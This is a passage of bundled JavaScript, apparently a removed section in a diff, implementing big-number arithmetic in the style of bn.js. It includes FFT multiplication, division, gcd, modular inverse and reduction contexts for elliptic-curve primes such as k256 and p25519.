rws, iws, rtws, itws, N2); - for (var s = 1; s < N2; s <<= 1) { - var l = s << 1; - var rtwdf = Math.cos(2 * Math.PI / l); - var itwdf = Math.sin(2 * Math.PI / l); - for (var p = 0; p < N2; p += l) { - var rtwdf_ = rtwdf; - var itwdf_ = itwdf; - for (var j = 0; j < s; j++) { - var re = rtws[p + j]; - var ie = itws[p + j]; - var ro = rtws[p + j + s]; - var io = itws[p + j + s]; - var rx = rtwdf_ * ro - itwdf_ * io; - io = rtwdf_ * io + itwdf_ * ro; - ro = rx; - rtws[p + j] = re + ro; - itws[p + j] = ie + io; - rtws[p + j + s] = re - ro; - itws[p + j + s] = ie - io; - if (j !== l) { - rx = rtwdf * rtwdf_ - itwdf * itwdf_; - itwdf_ = rtwdf * itwdf_ + itwdf * rtwdf_; - rtwdf_ = rx; - } - } - } - } - }; - FFTM.prototype.guessLen13b = function guessLen13b(n, m) { - var N2 = Math.max(m, n) | 1; - var odd = N2 & 1; - var i = 0; - for (N2 = N2 / 2 | 0; N2; N2 = N2 >>> 1) { - i++; - } - return 1 << i + 1 + odd; - }; - FFTM.prototype.conjugate = function conjugate(rws, iws, N2) { - if (N2 <= 1) - return; - for (var i = 0; i < N2 / 2; i++) { - var t = rws[i]; - rws[i] = rws[N2 - i - 1]; - rws[N2 - i - 1] = t; - t = iws[i]; - iws[i] = -iws[N2 - i - 1]; - iws[N2 - i - 1] = -t; - } - }; - FFTM.prototype.normalize13b = function normalize13b(ws, N2) { - var carry = 0; - for (var i = 0; i < N2 / 2; i++) { - var w = Math.round(ws[2 * i + 1] / N2) * 8192 + Math.round(ws[2 * i] / N2) + carry; - ws[i] = w & 67108863; - if (w < 67108864) { - carry = 0; - } else { - carry = w / 67108864 | 0; - } - } - return ws; - }; - FFTM.prototype.convert13b = function convert13b(ws, len, rws, N2) { - var carry = 0; - for (var i = 0; i < len; i++) { - carry = carry + (ws[i] | 0); - rws[2 * i] = carry & 8191; - carry = carry >>> 13; - rws[2 * i + 1] = carry & 8191; - carry = carry >>> 13; - } - for (i = 2 * len; i < N2; ++i) { - rws[i] = 0; - } - assert22(carry === 0); - assert22((carry & ~8191) === 0); - }; - FFTM.prototype.stub = function stub(N2) { - var ph = new Array(N2); - for (var i = 0; i < N2; i++) { - ph[i] = 0; - } - return ph; - }; - FFTM.prototype.mulp = function mulp(x, y, out) { - var N2 = 2 * this.guessLen13b(x.length, y.length); - var rbt = this.makeRBT(N2); - var _ = this.stub(N2); - var rws = new Array(N2); - var rwst = new Array(N2); - var iwst = new Array(N2); - var nrws = new Array(N2); - var nrwst = new Array(N2); - var niwst = new Array(N2); - var rmws = out.words; - rmws.length = N2; - this.convert13b(x.words, x.length, rws, N2); - this.convert13b(y.words, y.length, nrws, N2); - this.transform(rws, _, rwst, iwst, N2, rbt); - this.transform(nrws, _, nrwst, niwst, N2, rbt); - for (var i = 0; i < N2; i++) { - var rx = rwst[i] * nrwst[i] - iwst[i] * niwst[i]; - iwst[i] = rwst[i] * niwst[i] + iwst[i] * nrwst[i]; - rwst[i] = rx; - } - this.conjugate(rwst, iwst, N2); - this.transform(rwst, iwst, rmws, _, N2, rbt); - this.conjugate(rmws, _, N2); - this.normalize13b(rmws, N2); - out.negative = x.negative ^ y.negative; - out.length = x.length + y.length; - return out._strip(); - }; - BN32.prototype.mul = function mul32(num) { - var out = new BN32(null); - out.words = new Array(this.length + num.length); - return this.mulTo(num, out); - }; - BN32.prototype.mulf = function mulf(num) { - var out = new BN32(null); - out.words = new Array(this.length + num.length); - return jumboMulTo(this, num, out); - }; - BN32.prototype.imul = function imul(num) { - return this.clone().mulTo(num, this); - }; - BN32.prototype.imuln = function imuln(num) { - var isNegNum = num < 0; - if (isNegNum) - num = -num; - assert22(typeof num === "number"); - assert22(num < 67108864); - var carry = 0; - for (var i = 0; i < this.length; i++) { - var w = (this.words[i] | 0) * num; - var lo = (w & 67108863) + (carry & 67108863); - carry >>= 26; - carry += w / 67108864 | 0; - carry += lo >>> 26; - this.words[i] = lo & 67108863; - } - if (carry !== 0) { - this.words[i] = carry; - this.length++; - } - return isNegNum ? this.ineg() : this; - }; - BN32.prototype.muln = function muln(num) { - return this.clone().imuln(num); - }; - BN32.prototype.sqr = function sqr() { - return this.mul(this); - }; - BN32.prototype.isqr = function isqr() { - return this.imul(this.clone()); - }; - BN32.prototype.pow = function pow(num) { - var w = toBitArray(num); - if (w.length === 0) - return new BN32(1); - var res = this; - for (var i = 0; i < w.length; i++, res = res.sqr()) { - if (w[i] !== 0) - break; - } - if (++i < w.length) { - for (var q = res.sqr(); i < w.length; i++, q = q.sqr()) { - if (w[i] === 0) - continue; - res = res.mul(q); - } - } - return res; - }; - BN32.prototype.iushln = function iushln(bits) { - assert22(typeof bits === "number" && bits >= 0); - var r22 = bits % 26; - var s = (bits - r22) / 26; - var carryMask = 67108863 >>> 26 - r22 << 26 - r22; - var i; - if (r22 !== 0) { - var carry = 0; - for (i = 0; i < this.length; i++) { - var newCarry = this.words[i] & carryMask; - var c = (this.words[i] | 0) - newCarry << r22; - this.words[i] = c | carry; - carry = newCarry >>> 26 - r22; - } - if (carry) { - this.words[i] = carry; - this.length++; - } - } - if (s !== 0) { - for (i = this.length - 1; i >= 0; i--) { - this.words[i + s] = this.words[i]; - } - for (i = 0; i < s; i++) { - this.words[i] = 0; - } - this.length += s; - } - return this._strip(); - }; - BN32.prototype.ishln = function ishln(bits) { - assert22(this.negative === 0); - return this.iushln(bits); - }; - BN32.prototype.iushrn = function iushrn(bits, hint, extended) { - assert22(typeof bits === "number" && bits >= 0); - var h; - if (hint) { - h = (hint - hint % 26) / 26; - } else { - h = 0; - } - var r22 = bits % 26; - var s = Math.min((bits - r22) / 26, this.length); - var mask = 67108863 ^ 67108863 >>> r22 << r22; - var maskedWords = extended; - h -= s; - h = Math.max(0, h); - if (maskedWords) { - for (var i = 0; i < s; i++) { - maskedWords.words[i] = this.words[i]; - } - maskedWords.length = s; - } - if (s === 0) { - } else if (this.length > s) { - this.length -= s; - for (i = 0; i < this.length; i++) { - this.words[i] = this.words[i + s]; - } - } else { - this.words[0] = 0; - this.length = 1; - } - var carry = 0; - for (i = this.length - 1; i >= 0 && (carry !== 0 || i >= h); i--) { - var word = this.words[i] | 0; - this.words[i] = carry << 26 - r22 | word >>> r22; - carry = word & mask; - } - if (maskedWords && carry !== 0) { - maskedWords.words[maskedWords.length++] = carry; - } - if (this.length === 0) { - this.words[0] = 0; - this.length = 1; - } - return this._strip(); - }; - BN32.prototype.ishrn = function ishrn(bits, hint, extended) { - assert22(this.negative === 0); - return this.iushrn(bits, hint, extended); - }; - BN32.prototype.shln = function shln(bits) { - return this.clone().ishln(bits); - }; - BN32.prototype.ushln = function ushln(bits) { - return this.clone().iushln(bits); - }; - BN32.prototype.shrn = function shrn(bits) { - return this.clone().ishrn(bits); - }; - BN32.prototype.ushrn = function ushrn(bits) { - return this.clone().iushrn(bits); - }; - BN32.prototype.testn = function testn(bit) { - assert22(typeof bit === "number" && bit >= 0); - var r22 = bit % 26; - var s = (bit - r22) / 26; - var q = 1 << r22; - if (this.length <= s) - return false; - var w = this.words[s]; - return !!(w & q); - }; - BN32.prototype.imaskn = function imaskn(bits) { - assert22(typeof bits === "number" && bits >= 0); - var r22 = bits % 26; - var s = (bits - r22) / 26; - assert22(this.negative === 0, "imaskn works only with positive numbers"); - if (this.length <= s) { - return this; - } - if (r22 !== 0) { - s++; - } - this.length = Math.min(s, this.length); - if (r22 !== 0) { - var mask = 67108863 ^ 67108863 >>> r22 << r22; - this.words[this.length - 1] &= mask; - } - return this._strip(); - }; - BN32.prototype.maskn = function maskn(bits) { - return this.clone().imaskn(bits); - }; - BN32.prototype.iaddn = function iaddn(num) { - assert22(typeof num === "number"); - assert22(num < 67108864); - if (num < 0) - return this.isubn(-num); - if (this.negative !== 0) { - if (this.length === 1 && (this.words[0] | 0) <= num) { - this.words[0] = num - (this.words[0] | 0); - this.negative = 0; - return this; - } - this.negative = 0; - this.isubn(num); - this.negative = 1; - return this; - } - return this._iaddn(num); - }; - BN32.prototype._iaddn = function _iaddn(num) { - this.words[0] += num; - for (var i = 0; i < this.length && this.words[i] >= 67108864; i++) { - this.words[i] -= 67108864; - if (i === this.length - 1) { - this.words[i + 1] = 1; - } else { - this.words[i + 1]++; - } - } - this.length = Math.max(this.length, i + 1); - return this; - }; - BN32.prototype.isubn = function isubn(num) { - assert22(typeof num === "number"); - assert22(num < 67108864); - if (num < 0) - return this.iaddn(-num); - if (this.negative !== 0) { - this.negative = 0; - this.iaddn(num); - this.negative = 1; - return this; - } - this.words[0] -= num; - if (this.length === 1 && this.words[0] < 0) { - this.words[0] = -this.words[0]; - this.negative = 1; - } else { - for (var i = 0; i < this.length && this.words[i] < 0; i++) { - this.words[i] += 67108864; - this.words[i + 1] -= 1; - } - } - return this._strip(); - }; - BN32.prototype.addn = function addn(num) { - return this.clone().iaddn(num); - }; - BN32.prototype.subn = function subn(num) { - return this.clone().isubn(num); - }; - BN32.prototype.iabs = function iabs() { - this.negative = 0; - return this; - }; - BN32.prototype.abs = function abs() { - return this.clone().iabs(); - }; - BN32.prototype._ishlnsubmul = function _ishlnsubmul(num, mul32, shift) { - var len = num.length + shift; - var i; - this._expand(len); - var w; - var carry = 0; - for (i = 0; i < num.length; i++) { - w = (this.words[i + shift] | 0) + carry; - var right = (num.words[i] | 0) * mul32; - w -= right & 67108863; - carry = (w >> 26) - (right / 67108864 | 0); - this.words[i + shift] = w & 67108863; - } - for (; i < this.length - shift; i++) { - w = (this.words[i + shift] | 0) + carry; - carry = w >> 26; - this.words[i + shift] = w & 67108863; - } - if (carry === 0) - return this._strip(); - assert22(carry === -1); - carry = 0; - for (i = 0; i < this.length; i++) { - w = -(this.words[i] | 0) + carry; - carry = w >> 26; - this.words[i] = w & 67108863; - } - this.negative = 1; - return this._strip(); - }; - BN32.prototype._wordDiv = function _wordDiv(num, mode) { - var shift = this.length - num.length; - var a = this.clone(); - var b = num; - var bhi = b.words[b.length - 1] | 0; - var bhiBits = this._countBits(bhi); - shift = 26 - bhiBits; - if (shift !== 0) { - b = b.ushln(shift); - a.iushln(shift); - bhi = b.words[b.length - 1] | 0; - } - var m = a.length - b.length; - var q; - if (mode !== "mod") { - q = new BN32(null); - q.length = m + 1; - q.words = new Array(q.length); - for (var i = 0; i < q.length; i++) { - q.words[i] = 0; - } - } - var diff = a.clone()._ishlnsubmul(b, 1, m); - if (diff.negative === 0) { - a = diff; - if (q) { - q.words[m] = 1; - } - } - for (var j = m - 1; j >= 0; j--) { - var qj = (a.words[b.length + j] | 0) * 67108864 + (a.words[b.length + j - 1] | 0); - qj = Math.min(qj / bhi | 0, 67108863); - a._ishlnsubmul(b, qj, j); - while (a.negative !== 0) { - qj--; - a.negative = 0; - a._ishlnsubmul(b, 1, j); - if (!a.isZero()) { - a.negative ^= 1; - } - } - if (q) { - q.words[j] = qj; - } - } - if (q) { - q._strip(); - } - a._strip(); - if (mode !== "div" && shift !== 0) { - a.iushrn(shift); - } - return { - div: q || null, - mod: a - }; - }; - BN32.prototype.divmod = function divmod(num, mode, positive) { - assert22(!num.isZero()); - if (this.isZero()) { - return { - div: new BN32(0), - mod: new BN32(0) - }; - } - var div, mod, res; - if (this.negative !== 0 && num.negative === 0) { - res = this.neg().divmod(num, mode); - if (mode !== "mod") { - div = res.div.neg(); - } - if (mode !== "div") { - mod = res.mod.neg(); - if (positive && mod.negative !== 0) { - mod.iadd(num); - } - } - return { - div, - mod - }; - } - if (this.negative === 0 && num.negative !== 0) { - res = this.divmod(num.neg(), mode); - if (mode !== "mod") { - div = res.div.neg(); - } - return { - div, - mod: res.mod - }; - } - if ((this.negative & num.negative) !== 0) { - res = this.neg().divmod(num.neg(), mode); - if (mode !== "div") { - mod = res.mod.neg(); - if (positive && mod.negative !== 0) { - mod.isub(num); - } - } - return { - div: res.div, - mod - }; - } - if (num.length > this.length || this.cmp(num) < 0) { - return { - div: new BN32(0), - mod: this - }; - } - if (num.length === 1) { - if (mode === "div") { - return { - div: this.divn(num.words[0]), - mod: null - }; - } - if (mode === "mod") { - return { - div: null, - mod: new BN32(this.modrn(num.words[0])) - }; - } - return { - div: this.divn(num.words[0]), - mod: new BN32(this.modrn(num.words[0])) - }; - } - return this._wordDiv(num, mode); - }; - BN32.prototype.div = function div(num) { - return this.divmod(num, "div", false).div; - }; - BN32.prototype.mod = function mod(num) { - return this.divmod(num, "mod", false).mod; - }; - BN32.prototype.umod = function umod(num) { - return this.divmod(num, "mod", true).mod; - }; - BN32.prototype.divRound = function divRound(num) { - var dm = this.divmod(num); - if (dm.mod.isZero()) - return dm.div; - var mod = dm.div.negative !== 0 ? dm.mod.isub(num) : dm.mod; - var half = num.ushrn(1); - var r22 = num.andln(1); - var cmp = mod.cmp(half); - if (cmp < 0 || r22 === 1 && cmp === 0) - return dm.div; - return dm.div.negative !== 0 ? dm.div.isubn(1) : dm.div.iaddn(1); - }; - BN32.prototype.modrn = function modrn(num) { - var isNegNum = num < 0; - if (isNegNum) - num = -num; - assert22(num <= 67108863); - var p = (1 << 26) % num; - var acc = 0; - for (var i = this.length - 1; i >= 0; i--) { - acc = (p * acc + (this.words[i] | 0)) % num; - } - return isNegNum ? -acc : acc; - }; - BN32.prototype.modn = function modn(num) { - return this.modrn(num); - }; - BN32.prototype.idivn = function idivn(num) { - var isNegNum = num < 0; - if (isNegNum) - num = -num; - assert22(num <= 67108863); - var carry = 0; - for (var i = this.length - 1; i >= 0; i--) { - var w = (this.words[i] | 0) + carry * 67108864; - this.words[i] = w / num | 0; - carry = w % num; - } - this._strip(); - return isNegNum ? this.ineg() : this; - }; - BN32.prototype.divn = function divn(num) { - return this.clone().idivn(num); - }; - BN32.prototype.egcd = function egcd(p) { - assert22(p.negative === 0); - assert22(!p.isZero()); - var x = this; - var y = p.clone(); - if (x.negative !== 0) { - x = x.umod(p); - } else { - x = x.clone(); - } - var A = new BN32(1); - var B = new BN32(0); - var C = new BN32(0); - var D = new BN32(1); - var g = 0; - while (x.isEven() && y.isEven()) { - x.iushrn(1); - y.iushrn(1); - ++g; - } - var yp = y.clone(); - var xp = x.clone(); - while (!x.isZero()) { - for (var i = 0, im = 1; (x.words[0] & im) === 0 && i < 26; ++i, im <<= 1) - ; - if (i > 0) { - x.iushrn(i); - while (i-- > 0) { - if (A.isOdd() || B.isOdd()) { - A.iadd(yp); - B.isub(xp); - } - A.iushrn(1); - B.iushrn(1); - } - } - for (var j = 0, jm = 1; (y.words[0] & jm) === 0 && j < 26; ++j, jm <<= 1) - ; - if (j > 0) { - y.iushrn(j); - while (j-- > 0) { - if (C.isOdd() || D.isOdd()) { - C.iadd(yp); - D.isub(xp); - } - C.iushrn(1); - D.iushrn(1); - } - } - if (x.cmp(y) >= 0) { - x.isub(y); - A.isub(C); - B.isub(D); - } else { - y.isub(x); - C.isub(A); - D.isub(B); - } - } - return { - a: C, - b: D, - gcd: y.iushln(g) - }; - }; - BN32.prototype._invmp = function _invmp(p) { - assert22(p.negative === 0); - assert22(!p.isZero()); - var a = this; - var b = p.clone(); - if (a.negative !== 0) { - a = a.umod(p); - } else { - a = a.clone(); - } - var x1 = new BN32(1); - var x2 = new BN32(0); - var delta = b.clone(); - while (a.cmpn(1) > 0 && b.cmpn(1) > 0) { - for (var i = 0, im = 1; (a.words[0] & im) === 0 && i < 26; ++i, im <<= 1) - ; - if (i > 0) { - a.iushrn(i); - while (i-- > 0) { - if (x1.isOdd()) { - x1.iadd(delta); - } - x1.iushrn(1); - } - } - for (var j = 0, jm = 1; (b.words[0] & jm) === 0 && j < 26; ++j, jm <<= 1) - ; - if (j > 0) { - b.iushrn(j); - while (j-- > 0) { - if (x2.isOdd()) { - x2.iadd(delta); - } - x2.iushrn(1); - } - } - if (a.cmp(b) >= 0) { - a.isub(b); - x1.isub(x2); - } else { - b.isub(a); - x2.isub(x1); - } - } - var res; - if (a.cmpn(1) === 0) { - res = x1; - } else { - res = x2; - } - if (res.cmpn(0) < 0) { - res.iadd(p); - } - return res; - }; - BN32.prototype.gcd = function gcd(num) { - if (this.isZero()) - return num.abs(); - if (num.isZero()) - return this.abs(); - var a = this.clone(); - var b = num.clone(); - a.negative = 0; - b.negative = 0; - for (var shift = 0; a.isEven() && b.isEven(); shift++) { - a.iushrn(1); - b.iushrn(1); - } - do { - while (a.isEven()) { - a.iushrn(1); - } - while (b.isEven()) { - b.iushrn(1); - } - var r22 = a.cmp(b); - if (r22 < 0) { - var t = a; - a = b; - b = t; - } else if (r22 === 0 || b.cmpn(1) === 0) { - break; - } - a.isub(b); - } while (true); - return b.iushln(shift); - }; - BN32.prototype.invm = function invm(num) { - return this.egcd(num).a.umod(num); - }; - BN32.prototype.isEven = function isEven() { - return (this.words[0] & 1) === 0; - }; - BN32.prototype.isOdd = function isOdd() { - return (this.words[0] & 1) === 1; - }; - BN32.prototype.andln = function andln(num) { - return this.words[0] & num; - }; - BN32.prototype.bincn = function bincn(bit) { - assert22(typeof bit === "number"); - var r22 = bit % 26; - var s = (bit - r22) / 26; - var q = 1 << r22; - if (this.length <= s) { - this._expand(s + 1); - this.words[s] |= q; - return this; - } - var carry = q; - for (var i = s; carry !== 0 && i < this.length; i++) { - var w = this.words[i] | 0; - w += carry; - carry = w >>> 26; - w &= 67108863; - this.words[i] = w; - } - if (carry !== 0) { - this.words[i] = carry; - this.length++; - } - return this; - }; - BN32.prototype.isZero = function isZero() { - return this.length === 1 && this.words[0] === 0; - }; - BN32.prototype.cmpn = function cmpn(num) { - var negative = num < 0; - if (this.negative !== 0 && !negative) - return -1; - if (this.negative === 0 && negative) - return 1; - this._strip(); - var res; - if (this.length > 1) { - res = 1; - } else { - if (negative) { - num = -num; - } - assert22(num <= 67108863, "Number is too big"); - var w = this.words[0] | 0; - res = w === num ? 0 : w < num ? -1 : 1; - } - if (this.negative !== 0) - return -res | 0; - return res; - }; - BN32.prototype.cmp = function cmp(num) { - if (this.negative !== 0 && num.negative === 0) - return -1; - if (this.negative === 0 && num.negative !== 0) - return 1; - var res = this.ucmp(num); - if (this.negative !== 0) - return -res | 0; - return res; - }; - BN32.prototype.ucmp = function ucmp(num) { - if (this.length > num.length) - return 1; - if (this.length < num.length) - return -1; - var res = 0; - for (var i = this.length - 1; i >= 0; i--) { - var a = this.words[i] | 0; - var b = num.words[i] | 0; - if (a === b) - continue; - if (a < b) { - res = -1; - } else if (a > b) { - res = 1; - } - break; - } - return res; - }; - BN32.prototype.gtn = function gtn(num) { - return this.cmpn(num) === 1; - }; - BN32.prototype.gt = function gt(num) { - return this.cmp(num) === 1; - }; - BN32.prototype.gten = function gten(num) { - return this.cmpn(num) >= 0; - }; - BN32.prototype.gte = function gte(num) { - return this.cmp(num) >= 0; - }; - BN32.prototype.ltn = function ltn(num) { - return this.cmpn(num) === -1; - }; - BN32.prototype.lt = function lt(num) { - return this.cmp(num) === -1; - }; - BN32.prototype.lten = function lten(num) { - return this.cmpn(num) <= 0; - }; - BN32.prototype.lte = function lte(num) { - return this.cmp(num) <= 0; - }; - BN32.prototype.eqn = function eqn(num) { - return this.cmpn(num) === 0; - }; - BN32.prototype.eq = function eq42(num) { - return this.cmp(num) === 0; - }; - BN32.red = function red(num) { - return new Red(num); - }; - BN32.prototype.toRed = function toRed(ctx) { - assert22(!this.red, "Already a number in reduction context"); - assert22(this.negative === 0, "red works only with positives"); - return ctx.convertTo(this)._forceRed(ctx); - }; - BN32.prototype.fromRed = function fromRed() { - assert22(this.red, "fromRed works only with numbers in reduction context"); - return this.red.convertFrom(this); - }; - BN32.prototype._forceRed = function _forceRed(ctx) { - this.red = ctx; - return this; - }; - BN32.prototype.forceRed = function forceRed(ctx) { - assert22(!this.red, "Already a number in reduction context"); - return this._forceRed(ctx); - }; - BN32.prototype.redAdd = function redAdd(num) { - assert22(this.red, "redAdd works only with red numbers"); - return this.red.add(this, num); - }; - BN32.prototype.redIAdd = function redIAdd(num) { - assert22(this.red, "redIAdd works only with red numbers"); - return this.red.iadd(this, num); - }; - BN32.prototype.redSub = function redSub(num) { - assert22(this.red, "redSub works only with red numbers"); - return this.red.sub(this, num); - }; - BN32.prototype.redISub = function redISub(num) { - assert22(this.red, "redISub works only with red numbers"); - return this.red.isub(this, num); - }; - BN32.prototype.redShl = function redShl(num) { - assert22(this.red, "redShl works only with red numbers"); - return this.red.shl(this, num); - }; - BN32.prototype.redMul = function redMul(num) { - assert22(this.red, "redMul works only with red numbers"); - this.red._verify2(this, num); - return this.red.mul(this, num); - }; - BN32.prototype.redIMul = function redIMul(num) { - assert22(this.red, "redMul works only with red numbers"); - this.red._verify2(this, num); - return this.red.imul(this, num); - }; - BN32.prototype.redSqr = function redSqr() { - assert22(this.red, "redSqr works only with red numbers"); - this.red._verify1(this); - return this.red.sqr(this); - }; - BN32.prototype.redISqr = function redISqr() { - assert22(this.red, "redISqr works only with red numbers"); - this.red._verify1(this); - return this.red.isqr(this); - }; - BN32.prototype.redSqrt = function redSqrt() { - assert22(this.red, "redSqrt works only with red numbers"); - this.red._verify1(this); - return this.red.sqrt(this); - }; - BN32.prototype.redInvm = function redInvm() { - assert22(this.red, "redInvm works only with red numbers"); - this.red._verify1(this); - return this.red.invm(this); - }; - BN32.prototype.redNeg = function redNeg() { - assert22(this.red, "redNeg works only with red numbers"); - this.red._verify1(this); - return this.red.neg(this); - }; - BN32.prototype.redPow = function redPow(num) { - assert22(this.red && !num.red, "redPow(normalNum)"); - this.red._verify1(this); - return this.red.pow(this, num); - }; - var primes = { - k256: null, - p224: null, - p192: null, - p25519: null - }; - function MPrime(name, p) { - this.name = name; - this.p = new BN32(p, 16); - this.n = this.p.bitLength(); - this.k = new BN32(1).iushln(this.n).isub(this.p); - this.tmp = this._tmp(); - } - MPrime.prototype._tmp = function _tmp() { - var tmp = new BN32(null); - tmp.words = new Array(Math.ceil(this.n / 13)); - return tmp; - }; - MPrime.prototype.ireduce = function ireduce(num) { - var r22 = num; - var rlen; - do { - this.split(r22, this.tmp); - r22 = this.imulK(r22); - r22 = r22.iadd(this.tmp); - rlen = r22.bitLength(); - } while (rlen > this.n); - var cmp = rlen < this.n ? -1 : r22.ucmp(this.p); - if (cmp === 0) { - r22.words[0] = 0; - r22.length = 1; - } else if (cmp > 0) { - r22.isub(this.p); - } else { - if (r22.strip !== void 0) { - r22.strip(); - } else { - r22._strip(); - } - } - return r22; - }; - MPrime.prototype.split = function split(input, out) { - input.iushrn(this.n, 0, out); - }; - MPrime.prototype.imulK = function imulK(num) { - return num.imul(this.k); - }; - function K256() { - MPrime.call( - this, - "k256", - "ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff fffffffe fffffc2f" - ); - } - inherits2(K256, MPrime); - K256.prototype.split = function split(input, output) { - var mask = 4194303; - var outLen = Math.min(input.length, 9); - for (var i = 0; i < outLen; i++) { - output.words[i] = input.words[i]; - } - output.length = outLen; - if (input.length <= 9) { - input.words[0] = 0; - input.length = 1; - return; - } - var prev = input.words[9]; - output.words[output.length++] = prev & mask; - for (i = 10; i < input.length; i++) { - var next = input.words[i] | 0; - input.words[i - 10] = (next & mask) << 4 | prev >>> 22; - prev = next; - } - prev >>>= 22; - input.words[i - 10] = prev; - if (prev === 0 && input.length > 10) { - input.length -= 10; - } else { - input.length -= 9; - } - }; - K256.prototype.imulK = function imulK(num) { - num.words[num.length] = 0; - num.words[num.length + 1] = 0; - num.length += 2; - var lo = 0; - for (var i = 0; i < num.length; i++) { - var w = num.words[i] | 0; - lo += w * 977; - num.words[i] = lo & 67108863; - lo = w * 64 + (lo / 67108864 | 0); - } - if (num.words[num.length - 1] === 0) { - num.length--; - if (num.words[num.length - 1] === 0) { - num.length--; - } - } - return num; - }; - function P224() { - MPrime.call( - this, - "p224", - "ffffffff ffffffff ffffffff ffffffff 00000000 00000000 00000001" - ); - } - inherits2(P224, MPrime); - function P192() { - MPrime.call( - this, - "p192", - "ffffffff ffffffff ffffffff fffffffe ffffffff ffffffff" - ); - } - inherits2(P192, MPrime); - function P25519() { - MPrime.call( - this, - "25519", - "7fffffffffffffff ffffffffffffffff ffffffffffffffff ffffffffffffffed" - ); - } - inherits2(P25519, MPrime); - P25519.prototype.imulK = function imulK(num) { - var carry = 0; - for (var i = 0; i < num.length; i++) { - var hi = (num.words[i] | 0) * 19 + carry; - var lo = hi & 67108863; - hi >>>= 26; - num.words[i] = lo; - carry = hi; - } - if (carry !== 0) { - num.words[num.length++] = carry; - } - return num; - }; - BN32._prime = function prime(name) { - if (primes[name]) - return primes[name]; - var prime2; - if (name === "k256") { - prime2 = new K256(); - } else if (name === "p224") { - prime2 = new P224(); - } else if (name === "p192") { - prime2 = new P192(); - } else if (name === "p25519") { - prime2 = new P25519(); - } else { - throw new Error("Unknown prime " + name); - } - primes[name] = prime2; - return prime2; - }; - function Red(m) { - if (typeof m === "string") { - var prime = BN32._prime(m); - this.m = prime.p; - this.prime = prime; - } else { - assert22(m.gtn(1), "modulus must be greater than 1"); - this.m = m; - this.prime = null; - } - } - Red.prototype._verify1 = function _verify1(a) { - assert22(a.negative === 0, "red works only with positives"); - assert22(a.red, "red works only with red numbers"); - }; - Red.prototype._verify2 = function _verify2(a, b) { - assert22((a.negative | b.negative) === 0, "red works only with positives"); - assert22( - a.red && a.red === b.red, - "red works only with red numbers" - ); - }; - Red.prototype.imod = function imod(a) { - if (this.prime) - return this.prime.ireduce(a)._forceRed(this); - move(a, a.umod(this.m)._forceRed(this)); - return a; - }; - Red.prototype.neg = function neg32(a) { - if (a.isZero()) { - return a.clone(); - } - return this.m.sub(a)._forceRed(this); - }; - Red.prototype.add = function add32(a, b) { - this._verify2(a, b); - var res = a.add(b); - if (res.cmp(this.m) >= 0) { - res.isub(this.m); - } - return res._forceRed(this); - }; - Red.prototype.iadd = function iadd(a, b) { - this._verify2(a, b); - var res = a.iadd(b); - if (res.cmp(this.m) >= 0) { - res.isub(this.m); - } - return res; - }; - Red.prototype.sub = function sub(a, b) { - this._verify2(a, b); - var res = a.sub(b); - if (res.cmpn(0) < 0) { - res.iadd(this.m); - } - return res._forceRed(this); - }; - Red.prototype.isub = function isub(a, b) { - this._verify2(a, b); - var res = a.isub(b); - if (res.cmpn(0) < 0) { - res.iadd(this.m); - } - return res; - }; - Red.prototype.shl = function shl(a, num) { - this._verify1(a); - return this.imod(a.ushln(num)); - }; - Red.prototype.imul = function imul(a, b) { - this._verify2(a, b); - return this.imod(a.imul(b)); - }; - Red.prototype.mul = function mul32(a, b) { - this._verify2(a, b); - return this.imod(a.mul(b)); - }; - Red.prototype.isqr = function isqr(a) { - return this.imul(a, a.clone()); - }; - Red.prototype.sqr = function sqr(a) { - return this.mul(a, a); - }; - Red.prototype.sqrt = function sqrt(a) { - if (a.isZero()) - return a.clone(); - var mod3 = this.m.andln(3); - assert22(mod3 % 2 === 1); - if (mod3 === 3) { - var pow = this.m.add(new BN32(1)).iushrn(2); - return this.pow(a, pow); - } - var q = this.m.subn(1); - var s = 0; - while (!q.isZero() && q.andln(1) === 0) { - s++; - q.iushrn(1); - } - assert22(!q.isZero()); - var one = new BN32(1).toRed(this); - var nOne = one.redNeg(); - var lpow = this.m.subn(1).iushrn(1); - var z = this.m.bitLength(); - z = new BN32(2 * z * z).toRed(this); - while (this.pow(z, lpow).cmp(nOne) !== 0) { - z.redIAdd(nOne); - } - var c = this.pow(z, q); - var r22 = this.pow(a, q.addn(1).iushrn(1)); - var t = this.pow(a, q); - var m = s; - while (t.cmp(one) !== 0) { - var tmp = t; - for (var i = 0; tmp.cmp(one) !== 0; i++) { - tmp = tmp.redSqr(); - } - assert22(i < m); - var b = this.pow(c, new BN32(1).iushln(m - i - 1)); - r22 = r22.redMul(b); - c = b.redSqr(); - t = t.redMul(c); - m = i; - } - return r22; - }; - Red.prototype.invm = function invm(a) { - var inv = a._invmp(this.m); - if (inv.negative !== 0) { - inv.negative = 0; - return this.imod(inv).redNeg(); - } else { - return this.imod(inv); - } - }; - Red.prototype.pow = function pow(a, num) { - if (num.isZero()) - return new BN32(1).toRed(this); - if (num.cmpn(1) === 0) - return a.clone(); - var windowSize = 4; - var wnd = new Array(1 << windowSize); - wnd[0] = new BN32(1).toRed(this); - wnd[1] = a; - for (var i = 2; i < wnd.length; i++) { - wnd[i] = this.mul(wnd[i - 1], a); - } - var res = wnd[0]; - var current = 0; - var currentLen = 0; - var start = num.bitLength() % 26; - if (start === 0) { - start = 26; - } - for (i = num.length - 1; i >= 0; i--) { - var word = num.words[i]; - for (var j = start - 1; j >= 0; j--) { - var bit = word >> j & 1; - if (res !== wnd[0]) { - res = this.sqr(res); - } - if (bit === 0 && current === 0) { - currentLen = 0; - continue; - } - current <<= 1; - current |= bit; - currentLen++; - if (currentLen !== windowSize && (i !== 0 || j !== 0)) - continue; - res = this.mul(res, wnd[current]); - currentLen = 0; - current = 0; - } - start = 26; - } - return res; - }; - Red.prototype.convertTo = function convertTo(num) { - var r22 = num.umod(this.m); - return r22 === num ? r22.clone() : r22; - }; - Red.prototype.convertFrom = function convertFrom(num) { - var res = num.clone(); - res.red = null; - return res; - }; - BN32.mont = function mont(num) { - return new Mont(num); - }; - function Mont(m) { - Red.call(this, m); - this.shift = this.m.bitLength(); - if (this.shift % 26 !== 0) { - this.shift += 26 - this.shift % 26; - } - this.r = new BN32(1).iushln(this.shift); - this.r2 = this.imod(this.r.sqr()); - this.rinv = this.r._invmp(this.m); - this.minv = this.rinv.mul(this.r).isubn(1).div(this.m); - this.minv = this.minv.umod(this.r); - this.minv = this.r.sub(this.minv); - } - inherits2(Mont, Red); - Mont.prototype.convertTo = function convertTo(num) { - return this.imod(num.ushln(this.shift)); - }; - Mont.prototype.convertFrom = function convertFrom(num) { - 